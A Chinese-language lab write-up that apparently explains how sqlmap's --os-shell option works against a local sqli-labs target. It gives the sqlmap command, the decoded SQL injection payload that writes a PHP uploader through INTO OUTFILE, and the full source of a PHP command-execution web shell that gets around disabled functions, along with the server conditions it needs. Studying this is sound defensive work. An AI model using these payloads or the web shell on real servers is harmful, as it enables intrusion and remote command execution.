测试环境

这里使用的是本地搭建的sqllab靶场,搭建这个靶场如果遇到数据库加载不成功大概率原因为php版本问题,php版本必须为5.x因为7以上不支持mysql_connect函数用的是mysqli_connect

开始注入

这里我一开始--os-shell一直写不进去马,还以为是我路径的问题,后面发现是secure_file_priv=必须为空这个条件不满足,phpstudy数据库里面没有这个参数,所以加上就行
image-20230616204823343
开始sql注入,先抓取一个数据包,然后关闭拦截,执行下面命令,这样可以在burp上抓取到所有的数据包

1
sqlmap -u "http://192.168.1.102/sqli-labs-master/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080

image-20230616204835828
具体参数选择如下
image-20230616204846342
拿到shell

开始分析

我们从下面数据包开始分析,前面的都是正常注入的过程
image-20230616204857182
这里get方式传入了一大堆url编码的数据

1
-8041%27%20OR%209362%3D9362%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27D%3A%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuqmdh.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d443a5c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20-

解码一下

1
-8041' OR 9362=9362 LIMIT 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/sqli-labs-master/Less-1/tmpuqmdh.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d443a5c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -

前面一条是正常的sql语句,后面是十六进制数据,把这个再解码一下,解出来是php代码,整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
} else {
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
} ?>

先看一下前面的sql语句含义

1
INTO OUTFILE 'D:/phpstudy_pro/WWW/sqli-labs-master/Less-1/tmpuqmdh.php' LINES TERMINATED BY 'Y0n3er'

这条语句其实就是在指定路径下写入Y0n3er,LINES TERMINATED BY参数用于指定将引号内的内容作为终止符,但是这样可以将指定的内容写入文件中,如下

1
select 1 into outfile 'D:/phpstudy_pro/WWW/sqli-labs-master/Less-1/test.php' lines terminated by 'Y0n3er';

image-20230616204911858
image-20230616204920783
成功写入进去,结合上面的代码分析,其实这个命令就是写一个用于文件上传的表单tmpuqmdh.php文件,继续分析,找到了35这个数据包,里面通过post访问上传了一个tmpbkdyk.php文件
image-20230616204929561

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php $c = $_REQUEST["cmd"];  
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z)) {
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
} else {
$z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
global $z;
return is_callable($n) and !in_array($n, $z);
}

if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f("shell_exec")) {
$w = shell_exec($c);
} elseif (f("passthru")) {
ob_start();
passthru($c);
$w = ob_get_clean();
} elseif (f("popen")) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f("exec")) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
echo "<pre>$w</pre>"; ?>

这段代码大概就是命令执行,然后输出结果,至此整个过程就差不多结束了,可以看到目录下存在几个后门文件,这里有两个文件上传表单代码,应该是我多执行了一次
image-20230616204942475

限制条件

1
2
3
4
三个条件:
1.具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。

其实就是那个写入条件,另外php主动转义得关闭,GPC为off,但是GPC这个在后面的php版本都删除了用户可以自己控制,即magic_quotes_gpc这个选项,所以也就上面三个条件

总结

分析一遍发现原理不是很难, 但是这个利用起来很难,要求太高了

参考:

sqlmap –os-shell 原理详解_os–shell_ZredamanJ的博客-CSDN博客